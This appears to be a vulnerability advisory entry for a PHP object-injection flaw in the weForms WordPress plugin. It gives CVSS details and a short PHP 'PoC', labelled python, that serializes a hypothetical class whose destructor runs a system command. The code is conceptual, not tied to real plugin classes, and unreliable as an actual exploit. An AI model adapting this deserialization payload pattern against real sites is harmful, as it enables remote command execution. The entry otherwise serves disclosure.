Deserialization of Untrusted Data vulnerability in BoldGrid weForms weforms allows Object Injection.This issue affects weForms: from n/a through <= 1.6.26.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
weForms <= 1.6.26
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
/*
* PoC Generator for CVE-2026-32484
* Conceptual demonstration of PHP Object Injection
*/
// Target class might exist in the plugin (Hypothetical)
class ExploitableClass {
public $data;
public function __destruct() {
// Hypothetical dangerous action: executing system command
if (isset($this->data)) {
system($this->data);
}
}
}
// Generate the payload
$payload = new ExploitableClass();
$payload->data = 'touch /tmp/poc.txt'; // Command to execute
// Output serialized payload
echo serialize($payload);
?>